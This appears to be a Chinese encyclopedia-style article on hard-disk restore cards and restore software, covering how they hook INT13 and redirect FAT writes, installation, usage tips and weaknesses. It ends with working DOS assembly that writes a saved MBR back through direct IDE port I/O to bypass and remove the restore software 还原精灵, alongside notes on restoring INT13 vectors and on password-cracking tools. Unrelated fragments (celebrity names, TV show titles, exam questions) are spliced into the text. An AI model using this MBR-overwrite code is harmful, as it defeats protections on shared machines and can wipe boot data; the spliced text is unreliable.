一、原理篇
  硬盘还原卡也称硬盘保护卡,在教育、科研、设计、网吧等单位使用较多。它可以让电脑硬盘在大多情况下 非物理损坏 ,恢复到最初的样子。换句话说,不管是病毒、误改、误删、故意破坏硬盘的内容等,都可以轻易地还原。
  还原卡的主体是一种硬件芯片,插在主板上与硬盘的MBR(主引导扇区)协同工作。大部分还原卡的原理都差不多,其加载驱动的方式十分类似DOS下的引导型病毒:接管BIOSINT13中断,将FAT、引导区、CMOS信息、中断向量表等信息都保存到卡内的临时储存单元中或是在硬盘的隐藏扇区中,用自带的中断向量表来替换原始的中断向量表;再另外将FAT信息保存到临时储存单元中,用来应付我们对硬盘内数据的修改;最后是在硬盘中到一部分连续的空磁盘空间,然后将我们修改的数据保存到其中。
  每当我们向硬盘写入数据时,其实还是写入到硬盘中,可是没有真正修改硬盘中的FAT。由于保护卡接管INT13,当发现写操作时,便将原先数据目的地址重新指向先前的连续空磁盘空间,并将先前备份的第二份FAT中的被修改的相关数据指向这片空间。当我们读取数据时,和写操作相反,当某程序访问某文件时,保护卡先在第二份备份的FAT中查相关文件,
如果是启动后修改过的,便在重新定向的空间中读取,否则在第一份的FAT中查并读取相关文件。删除和写入数据相同,就是将文件的FAT记录从第二份备份的FAT中删除掉。
  二、安装篇
  现在市面上硬盘还原卡种类很多,大多是能不能再听一听听你的声音PCI总线,采用了即插即用技术,不必重新进行硬盘分区,而且免装驱动程序。安装时把卡插入计算机中任一个空闲的PCI扩展槽中,开机后检查BIOS以确保硬盘参数正确 同时将BIOS中的病毒警告设置为Disable。在进入操作系统前,硬盘还原卡会自动跳出安装画面,先放弃安装而进入Windows,确保计算机当前硬件和软件已经处于最佳工作状态,建议检查一下计算机病毒,确保安装还原卡前系统无病毒。最好先在Windows里对硬盘数据作一下碎片整理。杀毒软件的实时防毒功能、各种基于Windows的系统防护/恢复软件的功能已经完全或者部分地被还原卡包含,建议关闭或不安装或卸载。
  重启后安装还原卡,并设置还原卡的保护选项(具体设置因还原卡不同而异)。但大多都应有以下几项:硬盘保护区域设定、还原方式设定(包括开机自动恢复、选择恢复和定时恢复等)、密码设定等。设置完毕,保护数据后,整个硬盘就在还原卡的保护之下了。
  三、使用篇
   时代周刊 韩寒1.使用GHOST进行磁盘对拷
  很多的还原卡在说明书中写着并不支持GHOST的使用,因为还原卡在硬盘的隐藏扇区中写有数据,直接对拷后很可能会蓝屏进不了系统。然而很多情况下(如网吧、学校等单位大批机器软件安装),我们还是要使用GHOST做磁盘对拷。必须将源盘和目标盘的还原卡彻底移除(大部分还原卡的设置选项均中有移除选项,有的厂商提供专门的卸载工具,或者将还原卡从主板上直接拔下),这样才能安全清除还原卡在隐藏扇区中保存的数据,然后就能正常地使用GHOST了。
   2.保留一定的硬盘空间
  大多数厂商标榜自己的还原卡不占用硬盘空间,但硬盘可用空间非常少时,硬盘还原卡就会工作不正常了。因为硬盘剩余空间太少,当硬盘写操作较多时,还原卡因为没有足够的动态缓冲区而强制系统停机。所以建议使用保护卡时不要将硬盘空间占满,至少剩余几百兆可用空间给硬盘还原卡存储临时数据。
   3.慎用还原卡的多分区引导
  有些还原卡提供了多重引导分区的功能,但要注意利用还原卡进行特殊分区会破坏原有硬盘的所有内容与信息,要删除这些分区时也将会破坏所有的信息,在操作时一定要作好对重要数据的备分。各个多引导分区之间并不可见,各系统不能相互访问到。如需要多操作系统,建议使用第三方多重引导软件,例如System Commander等。
  4.还原卡的安全性
  无疑,保证数据的安全是还原卡最重要的一个方面。实际上,当隐藏扇区中保护卡保存的数据受到损坏时或硬盘本身受到了物理损坏时,硬盘其它被保护的资料就很容易出现问题,如发生硬盘死锁、无法读取数据等现象。此外,由于大部分还原卡的原理都是修改中断向量表来接管INT13中断,所以一些高手很容易通过到Int13h的原始BIOS中断向量值,填入中断向量表的方法,恢复INT13BIOS中断向量,来达到屏蔽掉还原卡的效果。
  此外还原卡密码的安全性也令人担忧。网上有居心叵测之人提供了某些品牌还原卡的破解工具;部分品牌的还原卡本身带有通用密码;另外还有一部分厂商提供了还原卡的密码清
除工具或还原卡安装信息清除工具(可能是厂商怕用户不慎忘记密码而设置的,可是这却无形中降低了数据的安全性)。
  所以,还原卡的保护功能给日常的工作提供了便利,却是防君子防不了小人,防菜鸟防不了黑客的,永远都不要相信还原卡是万能的!
   5.还原卡的选择
非诚勿扰17号聂倩
  首先要选择兼容性好的还原卡。由于操作系统、主板类型的不同,还有安装的各种软件,不可能保证还原卡百分之百的与主机兼容。市场上还原卡种类很多,选购时一定要注意是否全面支持DOSWin32Win95/97/98/2000/NTLinux等常见操作系统,并让系统在真正的32位系统下工作,而不是MS-DOS兼容方式;是否完全不占系统IRQI/015个天然指南针资源,有无硬件及软件相冲突的问题;最大支持硬盘的数量。此外,除了最基本的硬盘保护功能,很多还原卡还拥有其他功能,如BIOS数据保护,自带硬盘对拷和网络对拷功能,网络维护,多重引导分区,软件升级等,更为用户提供了方便。
[编辑本段]
提醒还原卡用户
  要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下如果把这一原理运用到CIH病毒中,或者运用到硬盘杀手病毒中,其后果是不堪设想的。
  谈谈如何用这种可以穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程序需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。
  .286
  CODE SEGMENT
  ASSUME CS:CODE,DS:code,ES:code
  START:
  ;----------------------------------------------------------
  ;以下代码用INT13H读主引导区
  mov ax,0201h
  mov dx,0080h
  mov cx,0001h
  mov bx,7c00h
  int 13h
  ;---------------------------------------------------------
  ;以下代码用I/O端口来写主引导区
  mov dx,1f6h ; 要读入的磁盘号及磁头号
  mov al,0a0h ; 磁盘0,磁头0
  out dx,al
  mov dx,1f2h ; 要写的扇区数量
  mov al,1 ; 写一个扇区
  out dx,al
  mov dx,1f3h ;要写的扇区号
  mov al,1 ;写到1扇区
  out dx,al
  mov dx,1f4h ; 要写的柱面的低8
  mov al,0 ; 8位为0
  out dx,al
  mov dx,1f5h ; 诸葛亮王朗要写的柱面的高2
  mov al,0 ; 2位为0
  out dx,al
  mov dx,1f7h ;命令端口
  mov al,30h ;尝试着写扇区.
  out dx,al
  oogle:
  in al,dx
  test al,8 ;磁盘扇区缓冲是否准备好
  jz oogle
  mov cx,512/2 ;设置循环次数(512/2)
  mov si,7c00h
  mov dx,1f0h ;数据端口,用来存放要发送的数据.
  rep outsw ;发送数据.
六级考试多长时间
  ; ------------------------------------------------------------------------------
  ;退出程序
  mov ah,4ch
  int 21
  CODE ENDS
  END START
  上面的程序非常简单,说明如下:
  1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对001扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;
  2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还
原精灵给彻底删除了,此时重新启动你将发现还原精灵已经没有了。
  我写了个FORWIN98/NT/XP的卸载还原精灵等软件的程序,不过已经有人先我一步了,那就是网吧终结者出的一个清MBR的程序,我试了一下,发现的确有用,我还没有仔细分析该程序,但我敢肯定其原理差不多。那个程序写得不错,不过我认为有一点需要改进,我的硬盘的MBR程序是我自己写的,用来实现多引导操作,当我执行完该清MBR程序后,我的多引导代码就没了,我觉得此程序如果能把核心代码部分改成象我以上的代码,在还原精灵下是把装还原精灵之前的MBR写回到主引导区,即使没装还原精灵的硬盘也只是把主引导区写回主引导区,就没有任何的危险了。
  用以上的方法要实现还原卡的破解可能是不行的,因为还原卡毕竟是硬件,它可以先于硬盘引导前执行,这样即使你写回了硬盘的主引导区,还原卡还是可以把它写回的,但是,在破解还原卡的时候,完全可以利用文章中的原理,把还原卡写入硬盘主引导区的真正代码读出进行分析,甚至有些还原卡的密码就在这个扇区中。
  对于还原卡和还原软件的制造者来说,如何让您制造的还原卡或还原软件更安全,可能是一个需要思考的问题。真心希望以后的还原卡或是还原软件在拦截INT13H的同时也能拦截
硬盘I/O操作。
  在我安装还原精灵的时候看到一个选项是防止硬盘I/O破坏,开始还以为还原精灵在这方面做的不错,想到了从拦截I/O操作来保护硬盘。可惜我错了,即使选择这一个选项,也同样可以通过输入输出端口操作来写硬盘。对于掌握了这种技术的人来说,这种还原卡或是还原软件可以说是形同虚设。因此我认为,还原卡和还原软件不但要实现拦截所有硬盘写操作、拦截对主引导区的读写操作,更应该拦截对硬盘的读写端口的操作,只有这样的虚拟还原技术才可能使基于硬盘的读写端口操作所对硬盘的破坏或是对虚拟还原技术的破解变成不可能。